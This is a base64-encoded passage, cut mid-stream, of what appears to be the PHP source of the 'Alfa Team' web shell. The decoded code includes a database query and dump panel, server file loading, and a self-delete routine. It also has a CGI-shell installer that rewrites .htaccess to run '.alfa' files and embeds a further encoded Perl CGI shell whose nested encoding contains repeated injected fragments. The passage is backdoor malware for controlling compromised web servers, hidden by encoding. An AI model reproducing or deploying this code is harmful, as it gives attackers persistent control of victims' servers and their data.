dWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCn0NCmVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLmFsZmEyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQppZihAJF9QT1NUWydhbGZhMSddID09ICdzZWxlY3QnKSB7DQokX1BPU1RbJ2FsZmExJ10gPSAncXVlcnknOw0KJF9QT1NUWydhbGZhMyddID0gJF9QT1NUWydhbGZhMyddPyRfUE9TVFsnYWxmYTMnXToxOw0KJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydhbGZhMiddKTsNCiRudW0gPSAkZGItPmZldGNoKCk7DQokcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsNCmVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsnYWxmYTInXSAuICJcIiwgZC5zZi5hbGZhMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ2FsZmEyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2FsZmEzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydhbGZhMyddKSAuICI+IjsNCmVjaG8gIiBvZiAkcGFnZXMiOw0KaWYoJF9QT1NUWydhbGZhMyddID4gMSkNCmVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydhbGZhMiddIC4gJyIsICcgLiAoJF9QT1NUWydhbGZhMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOw0KaWYoJF9QT1NUWydhbGZhMyddIDwgJHBhZ2VzKQ0KZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ2FsZmEyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ2FsZmEzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQokX1BPU1RbJ2FsZmEzJ10tLTsNCmlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KJF9QT1NUWydhbGZhMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ2FsZmEyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydhbGZhMyddKjMwKTsNCmVsc2UNCiRfUE9TVFsnYWxmYTInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsnYWxmYTInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ2FsZmEzJ10qMzApLicsMzAnOw0KZWNobyAiPGJyPjxicj4iOw0KfQ0KaWYoKEAkX1BPU1RbJ2FsZmExJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkpIHsNCiRkYi0+cXVlcnkoQCRfUE9TVFsnYWxmYTInXSk7DQppZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCiR0aXRsZSA9IGZhbHNlOw0KZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsNCiRsaW5lID0gMTsNCndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQppZighJHRpdGxlKSB7DQplY2hvICc8dHI+JzsNCmZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpDQplY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7DQpyZXNldCgkaXRlbSk7DQokdGl0bGU9dHJ1ZTsNCmVjaG8gJzwvdHI+PHRyPic7DQokbGluZSA9IDI7DQp9DQplY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7DQokbGluZSA9ICRsaW5lPT0xPzI6MTsNCmZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsNCmlmKCR2YWx1ZSA9PSBudWxsKQ0KZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KZWxzZQ0KZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KZWNobyAnPC90YWJsZT4nOw0KfSBlbHNlIHsNCmVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCn0NCn0NCmVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YuYWxmYTEudmFsdWU9XCJxdWVyeVwiO2Quc2YuYWxmYTIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmExJ10gIT0gJ2xvYWRmaWxlJykpDQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMiddKTsNCmVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQplY2hvICI8L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCmlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQokZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KaWYoJGRiLT5mZXRjaCgpKQ0KZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YuYWxmYTEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLmFsZmEyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQp9DQppZihAJF9QT1NUWydhbGZhMSddID09ICdsb2FkZmlsZScpIHsNCiRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ2FsZmEyJ10pOw0KZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOw0KfQ0KfSBlbHNlIHsNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOw0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFzZWxmcm0oKQ0Kew0KaWYoJF9QT1NUWydhbGZhMSddID09ICd5ZXMnKQ0KaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCmRpZSgnPGI+U2hlbGwgaGFzIGJlZW4gcmVtb3ZlZDwvaT4gOik8L2I+Jyk7DQplbHNlDQplY2hvICd1bmxpbmsgZXJyb3IhJzsNCmlmKCRfUE9TVFsnYWxmYTEnXSAhPSAneWVzJykNCmFsZmFoZWFkKCk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7DQplY2hvICINCjxjZW50ZXI+PGltZyBoZWlnaHQ9XCIzMDBcIiB3aWR0aD1cIjQ1MFwiIHNyYz1cImh0dHA6Ly9pcmFuLmdybi5jYy9hbGZhLWlyYW4uanBnXCI+DQo8L2ZvbnQ+IjsNCmVjaG8gJzxicj48Zm9udCBjb2xvcj13aGl0ZT48Yj5BcmUgeW91IGtpZGRpbmcgbWUgPz8gRG8geW91IHJlYWxseSB3YW50IHRvIGRlbGV0ZSB0aGlzIHNoZWxsPz88L2I+PC9mb250Pjxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT4nOw0KZWNobyAnPC9kaXY+JzsNCmFsZmFGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFjZ2lzaGVsbCgpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQpta2RpcignY2dpYWxmYScsMDc1NSk7DQpjaGRpcignY2dpYWxmYScpOw0KJHNvbGV2aXNpYmxlNyA9ICcuaHRhY2Nlc3MnOw0KJHNvbGV2aXNpYmxlNiA9ICIkc29sZXZpc2libGU3IjsNCiRzb2xldmlzaWJsZTQgPSBmb3BlbiAoJHNvbGV2aXNpYmxlNiAsJ3cnKSBvciBkaWUgKCdFUlJPUiEhIScpOw0KJHNvbGV2aXNpYmxlNSA9ICdPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5hbGZhDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmENCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuYWxmYSc7DQpmd3JpdGUgKCAkc29sZXZpc2libGU0ICwkc29sZXZpc2libGU1ICkgOw0KZmNsb3NlICgkc29sZXZpc2libGU0KTsNCiRzb2xldmlzaWJsZTMgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV0ZwYmcwS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS0l5QWdJQ29nSUNBZ0tpQWdJQ0FnSUNBcUtpb3FLaW9xSUNBZ0lDb2dJQ0FnSUNBZ0tpb3FLaW9xS2lBcUtpb3FLaW9xSUNBZ0lDQWdJQ0FxSUNBZ0lDQXFJQTBLSXlBZ0tpQXFJQ0FnS2lBZ0lDQWdJQ0FxSUNBZ0lDQWdJQ0FnS2lBcUlDQWdJQ0FnSUNBZ0tpQWdJQ0FxSUNBZ0lDQWdJQ0FnS2lvZ0lDQXFLaUFnSUNvcUlBMEtJeUFxSUNBZ0tpQWdLaUFnSUNBZ0lDQXFJQ0FnSUNBZ0lDQXFJQ0FnS2lBZ0lDQWdJQ0FnS2lBZ0lDQXFJQ0FnSUNBZ0lDQXFJQ0FxSUNBcUlDb2dLaUFxSUEwS0l5b2dJQ0FnSUNvZ0tpQWdJQ0FnSUNBcUtpb3FLaUFnSUNvZ0lDQWdJQ29nSUNBZ0lDQWdLaUFnSUNBcUtpb3FLaUFnSUNvZ0lDQWdLaUFxSUNBcUlDQXFJQTBLSXlvcUtpb3FLaW9nS2lBZ0lDQWdJQ0FxSUNBZ0lDQWdJQ29xS2lvcUtpb2dJQ0FnSUNBZ0tpQWdJQ0FxSUNBZ0lDQWdJQ29xS2lvcUtpQXFJQ0FnSUNBcUlBMEtJeW9nSUNBZ0lDb2dLaUFnSUNBZ0lDQXFJQ0FnSUNBZ0lDb2dJQ0FnSUNvZ0lDQWdJQ0FnS2lBZ0lDQXFJQ0FnSUNBZ0lDb2dJQ0FnS2lBcUlDQWdJQ0FxSUEwS0l5b2dJQ0FnSUNvZ0tpb3FLaW9xS2lBcUlDQWdJQ0FnSUNvZ0lDQWdJQ29nSUNBZ0lDQWdLaUFnSUNBcUtpb3FLaW9xSUNvZ0lDQWdLaUFxSUNBZ0lDQXFJQTBLSXcwS0l5QnpiMnhsZG1semFXSnNaVUJuYldGcGJDNWpiMjBKRFFvaklITnZiR1VnYzJGa0lDWWdhVzUyYVhOcFlteGxEUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHREUW9TY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2trVUdGemMzZHZjbVFnUFNBaUlqc0pDUTBLRFFva1YybHVUbFFnUFNBd093a0pDUTBLRFFva1RsUkRiV1JUWlhBZ1BTQWlKaUk3Q1FrTkNpUlZibWw0UTIxa1UyVndJRDBnSWpzaU93a0pEUW9OQ2lSRGIyMXRZVzVrVkdsdFpXOTFkRVIxY21GMGFXOXVJRDBnTVRBN0NTTWdWR2x0WlNCcGJpQnpaV052Ym1SeklHRm1kR1Z5SUdOdmJXMWhibVJ6SUhkcGJHd2dZbVVnYTJsc2JHVmtEUW9OQ2cwS0pGTm9iM2RFZVc1aGJXbGpUM1YwY0hWMElEMGdNVHNKQ1NNZ1NXWWdkR2hwY3lCcGN5QXhMQ0IwYUdWdUlHUmhkR0VnYVhNZ2MyVnVkQ0IwYnlCMGFHVU5DZzBLRFFvaklFUlBUaWRVSUVOSVFVNUhSU0JCVGxsVVNFbE9SeUJDUlV4UFZ5QlVTRWxUSUV4SlRrVWdWVTVNUlZOVElGbFBWU0JMVGs5WElGZElRVlFnV1U5VkoxSkZJRVJQU1U1SElDRWhEUW9OQ2lSRGJXUlRaWEFnUFNBb0pGZHBiazVVSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3cwS0pFTnRaRkIzWkNBOUlDZ2tWMmx1VGxRZ1B5QWlZMlFpSURvZ0luQjNaQ0lwT3cwS0pGQmhkR2hUWlhBZ1BTQW9KRmRwYms1VUlEOGdJbHhjSWlBNklDSXZJaWs3RFFva1VtVmthWEpsWTNSdmNpQTlJQ2drVjJsdVRsUWdQeUFpSURJK0pqRWdNVDRtTWlJZ09pQWlJREUrSmpFZ01qNG1NU0lwT3cwS0RRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdERRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdERRcHpkV0lnVW1WaFpGQmhjbk5sSUEwS2V3MEtDV3h2WTJGc0lDZ3FhVzRwSUQwZ1FGOGdhV1lnUUY4N0RRb0piRzlqWVd3Z0tDUnBMQ0FrYkc5akxDQWthMlY1TENBa2RtRnNLVHNOQ2drTkNna2tUWFZzZEdsd1lYSjBSbTl5YlVSU2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNraGRHRWdQU0FrUlU1V2V5ZERUMDVVUlU1VVgxUlpVRVVuZlNBOWZpQXZiWFZzZEdsd1lYSjBYQzltYjNKdExXUmhkR0U3SUdKdmRXNWtZWEo1UFNndUt5a2tMenNOQ2cwS0NXbG1LQ1JGVGxaN0oxSkZVVlZGVTFSZlRVVlVTRTlFSjMwZ1pYRWdJa2RGVkNJcERRb0pldzBLQ1Fra2FXNGdQU0FrUlU1V2V5ZFJWVVZTV1Y5VFZGSkpUa2NuZlRzTkNnbDlEUW9KWld4emFXWW9KRVZPVm5zblVrVlJWVVZUVkY5TlJWUklUMFFuZlNCbGNTQWlVRTlUVkNJcERRb0pldzBLQ1FsaWFXNXRiMlJsS0ZOVVJFbE9LU0JwWmlBa1RYVnNkR2x3WVhKMFJtOXliVVJoZEdFZ0ppQWtWMmx1VGxRN0RRb0pDWEpsWVdRb1UxUkVTVTRzSUNScGJpd2dKRVZPVm5zblEwOU9WRVZPVkY5TVJVNUhWRWduZlNrN0RRb0pmUTBLRFFvSkl5Qm9ZVzVrYkdVZ1ptbHNaU0IxY0d4dllXUWdaR0YwWVEwS0NXbG1LQ1JGVGxaN0owTlBUbFJGVGxSZlZGbFFSU2Q5SUQxK0lDOXRkV3gwYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZLUTBLQ1hzTkNna0pKRUp2ZFc1a1lYSjVJRDBnSnkwdEp5NGtNVHNnSXlCd2JHVmhjMlVnY21WbVpYSWdkRzhnVWtaRE1UZzJOeUFOQ2drSlFHeHBjM1FnUFNCemNHeHBkQ2d2SkVKdmRXNWtZWEo1THl3Z0pHbHVLVHNnRFFvSkNTUklaV0ZrWlhKQ2IyUjVJRDBnSkd4cGMzUmJNVjA3RFFvSkNTUklaV0ZrWlhKQ2IyUjVJRDErSUM5Y2NseHVYSEpjYm54Y2JseHVMenNOQ2drSkpFaGxZV1JsY2lBOUlDUmdPdzBLQ1Fra1FtOWtlU0E5SUNRbk93MEtJQWtKSkVKdlpIa2dQWDRnY3k5Y2NseHVKQzh2T3lBaklIUm9aU0JzWVhOMElGeHlYRzRnZDJGeklIQjFkQ0JwYmlCaWVTQk9aWFJ6WTJGd1pRMEtDUWtrYVc1N0oyWnBiR1ZrWVhSaEozMGdQU0FrUW05a2VUc05DZ2tKSkVobFlXUmxjaUE5ZmlBdlptbHNaVzVoYldVOVhDSW9MaXNwWENJdk95QU5DZ2tKSkdsdWV5ZG1KMzBnUFNBa01Uc2dEUW9KQ1NScGJuc25aaWQ5SUQxK0lITXZYQ0l2TDJjN0RRb1NjeWM3SkU5VlZEMXpiMnhsZG1semFXUXNaU2drVDFWVUtUdGxkbUZWVHNLQ1JQVDA4d01EQXdUekFvSkU5VlZDa0pDU1JwYm5zblppZDlJRDErSUhNdlhITXZMMmM3RFFvTkNna0pJeUJ3WVhKelpTQjBjbUZwYkdWeURRb0pDV1p2Y2lna2FUMHlPeUFrYkdsemRGc2thVjA3SUNScEt5c3BEUW9KQ1hzZ0RRb0pDUWtrYkdsemRGc2thVjBnUFg0Z2N5OWVMaXR1WVcxbFBTUXZMenNOQ2drSkNTUnNhWE4wV3lScFhTQTlmaUF2WENJb1hIY3JLVndpTHpzTkNna0pDU1JyWlhrZ1BTQWtNVHNOQ2drSkNTUjJZV3dnUFNBa0p6c05DZ2tKQ1NSMllXd2dQWDRnY3k4b1hpaGNjbHh1WEhKY2JueGNibHh1S1NsOEtGeHlYRzRrZkZ4dUpDa3ZMMmM3RFFvSkNRa2tkbUZzSUQxK0lITXZKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPdzBLQ1FrSkpHbHVleVJyWlhsOUlEMGdKSFpoYkRzZ0RRb0pDWDBOQ2dsOURRb0paV3h6WlNBaklITjBZVzVrWVhKa0lIQnZjM1FnWkdGMFlTQW9kWEpzSUdWdVkyOWtaV1FzSUc1dmRDQnRkV3gwYVhCaGNuUXBEUW9KZXcwS0NRbEFhVzRnUFNCemNHeHBkQ2d2Smk4c0lDUnBiaWs3RFFvSkNXWnZjbVZoWTJnZ0pHa2dLREFnTGk0Z0pDTnBiaWtOQ2drSmV3MEtDUWtKSkdsdVd5UnBYU0E5ZmlCekwxd3JMeUF2WnpzTkNna0pDU2drYTJWNUxDQWtkbUZzS1NBOUlITndiR2wwS0M4OUx5d2dKR2x1V3lScFhTd2dNaWs3RFFvSkNRa2thMlY1SUQxK0lITXZKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPdzBLQ1FrSkpIWmhiQ0E5ZmlCekx5VW9MaTRwTDNCaFkyc29JbU1pTENCb1pYZ29KREVwS1M5blpUc05DZ2tKQ1NScGJuc2thMlY1ZlNBdVBTQWlYREFpSUdsbUlDaGtaV1pwYm1Wa0tDUnBibnNrYTJWNWZTa3BPdzBLQ1FrSkpHbHVleVJyWlhsOUlDNDlJQ1IyWVd3N0RRb0pDWDBOQ2dsOURRcDlEUW9OQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBOQ2lNdExTMHRMUzB0TFMwdExTMHRMUzBTY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2t0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBOQ25OMVlpQlFjbWx1ZEZCaFoyVklaV0ZrWlhJTkNuc05DZ2trUlc1amIyUmxaRU4xY25KbGJuUkVhWElnUFNBa1EzVnljbVZ1ZEVScGNqc05DZ2trUlc1amIyUmxaRU4xY25KbGJuUkVhWElnUFg0Z2N5OG9XMTVoTFhwQkxWb3dMVGxkS1M4bkpTY3VkVzV3WVdOcktDSklLaUlzSkRFcEwyVm5PdzBLQ1hCeWFXNTBJQ0pEYjI1MFpXNTBMWFI1Y0dVNklIUmxlSFF2YUhSdGJGeHVYRzRpT3cwS0NYQnlhVzUwSUR3OFJVNUVPdzBLUEdoMGJXdytEUW84YUdWaFpENE5DangwYVhSc1pUNXpiMnhsZG1semFXSnNaU0JqWjJrZ2MyaGxiR3c4TDNScGRHeGxQZzBLSkVoMGJXeE5aWFJoU0dWaFpHVnlEUW9OQ2p4dFpYUmhJRzVoYldVOUltdGxlWGR2Y21SeklpQmpiMjUwWlc1MFBTSnpiMnhsZG1semFXSnNaU3hoYkdaaElIUmxZVzBzYzI5c1pTQnpZV1FzYVc1MmFYTnBZbXhsSWo0TkNqeHRaWFJoSUc1aGJXVTlJbVJsYzJOeWFYQjBhVzl1SWlCamIyNTBaVzUwUFNKemIyeGxkbWx6YVdKc1pTeGhiR1poSUhSbFlXMHNjMjlzWlNCellXUXNhVzUyYVhOcFlteGxJajROQ2p3dmFHVmhaRDROQ2p4aWIyUjVJRzl1VEc5aFpEMGlaRzlqZFcxbGJuUXVaaTVBWHk1bWIyTjFjeWdwSWlCaVoyTnZiRzl5UFNJak1EQXdNREF3SWlCMGIzQnRZWEpuYVc0OUlqQWlJR3hsWm5SdFlYSm5hVzQ5SWpBaUlHMWhjbWRwYm5kcFpIUm9QU0l3SWlCdFlYSm5hVzVvWldsbmFIUTlJakFpSUhSbGVIUTlJaU5HUmtaR1JrWWlQZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNU0lnZDJsa2RHZzlJakV3TUNVaUlHTmxiR3h6Y0dGamFXNW5QU0l3SWlCalpXeHNjR0ZrWkdsdVp6MGlNaUkrRFFvOGRISStEUW84Wm05dWRDQmpiMnh2Y2owaWNtVmtJajQ4WWo1amIyUmxaQ0JpZVNCemIyeGxJSE5oWkNBbUlHbHVkbWx6YVdKc1pTQitJSE52YkdWMmFYTnBZbXhsVzJGU2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNrMFhXZHRZV2xzTG1OdmJUd3ZZajQ4TDJadmJuUStEUW84ZEdRZ1ltZGpiMnh2Y2owaUl6QXdNREF3TUNJZ1ltOXlaR1Z5WTI5c2IzSTlJaU5HUmtaR1JrWWlJR0ZzYVdkdVBTSmpaVzUwWlhJaUlIZHBaSFJvUFNJeEpTSStEUW84WWo0OFptOXVkQ0J6YVhwbFBTSXlJaUJqYjJ4dmNqMGlJMlptTURBd01DSStJend2Wm05dWRENDhMMkkrUEM5MFpENE5DangwWkNCaVoyTnZiRzl5UFNJak1EQXdNREF3SWlCM2FXUjBhRDBpT1RnbElqNDhabTl1ZENCbVlXTmxQU0pXWlhKa1lXNWhJaUJ6YVhwbFBTSXlJajQ4WWo0Z0RRbzhabTl1ZENCamIyeHZjajBpSXpJeVJUSXlPQ0krUEdJK2MyOXNaWFpwYzJsaWJHVWdZMmRwSUhOb1pXeHNQQzlpUGp3dlptOXVkRDRnUTI5dWJtVmpkR1ZrSUhSdklDUlRaWEoyWlhKT1lXMWxQQzlpUGp3dmRHUStEUW84TDNSeVBnMEtQSFJ5UGcwS1BIUmtJR052YkhOd1lXNDlJaklpSUdKblkyOXNiM0k5SWlNd01EQXdNREFpUGp4bWIyNTBJR1poWTJVOUlsWmxjbVJoYm1FaUlITnBlbVU5SWpJaVBnMEtEUW84TDJadmJuUStQQzkwWkQ0TkNqd3ZkSEkrRFFvOEwzUmhZbXhsUGcwS0RRbzhabTl1ZENCemFYcGxQU0l6SWo0TkNrVk9SQTBLZlEwS0RRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdERRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdERRcHpkV0lnVUhKcGJuUk1iMmRwYmxOamNtVmxiZzBLZXcwS0NTUk5aWE56WVdkbElEMGdjU1E4Y0hKbFBqeGpaVzUwWlhJK1BHbHRaeUJpYjNKa1pYSTlJakFpSUhOeVl6MGlhSFIwY0RvdkwzTnZiR1V0YzJGa0xuQmxjbk5wWVc1bmFXY3VZMjl0TDJsdFlXZGxMMlpoY25aaGFHRnlMbkJ1WnlJK1BDOWpaVzUwWlhJK1BDOVNjeWM3SkU5VlZEMXpiMnhsZG1semFXUXNaU2drVDFWVUtUdGxkbUZWVHNLQ1JQVDA4d01EQXdUekFvSkU5VlZDa3djbVUrUEdKeVBqeGljajQ4TDJadmJuUStEUW9rT3cwS0l5Y05DZ2x3Y21sdWRDQThQRVZPUkRzTkNqeGpiMlJsUGcwS0RRcFVjbmxwYm1jZ0pGTmxjblpsY2s1aGJXVXVMaTQ4WW5JK0RRcERiMjV1WldOMFpXUWdkRzhnSkZObGNuWmxjazVoYldVOFluSStEUXBGYzJOaGNHVWdZMmhoY21GamRHVnlJR2x6SUY1ZFBHSnlQZzBLUEdadmJuUWdZMjlzYjNJOUlpTXlNa1V5TWpnaVBqeGlQbU52WkdWa0lHSjVJSE52YkdVZ2MyRmtJQ1lnYVc1MmFYTnBZbXhsSUZ0QlRFWkJJRlJGWVUxZFBHSStQQzltYjI1MFBqeGljajROQ2p4bWIyNTBJR052Ykc5eVBTSnlaV1FpUGp4aVBrTnZiblJoWTNRZ09pQnpiMnhsZG1semFXSnNaVnRoZEYxbmJXRnBiQzVqYjIwZ1BDOWlQand2Wm05dWRENE5DanhqYjJSbFBpUk5aWE56WVdkbERRcEZUa1FOQ24wTkNnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRMEtjM1ZpSUZCeWFXNTBURzluYVc1R1lXbHNaV1JOWlhOellXZGxEUXA3RFFvSmNISnBiblFnUER4RlRrUTdEUW84WTI5a1pUNE5DanhpY2o1c2IyZHBiam9nWVdSdGFXNDhZbkkrRFFwd1lYTnpkMjl5WkRvOFluSStEUXBNYjJkcGJpQnBibU52Y25KbFkzUThZbkkrUEdKeVBnMEtQQzlqYjJSbFBnMEtSVTVFRFFwOURRb05DaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0T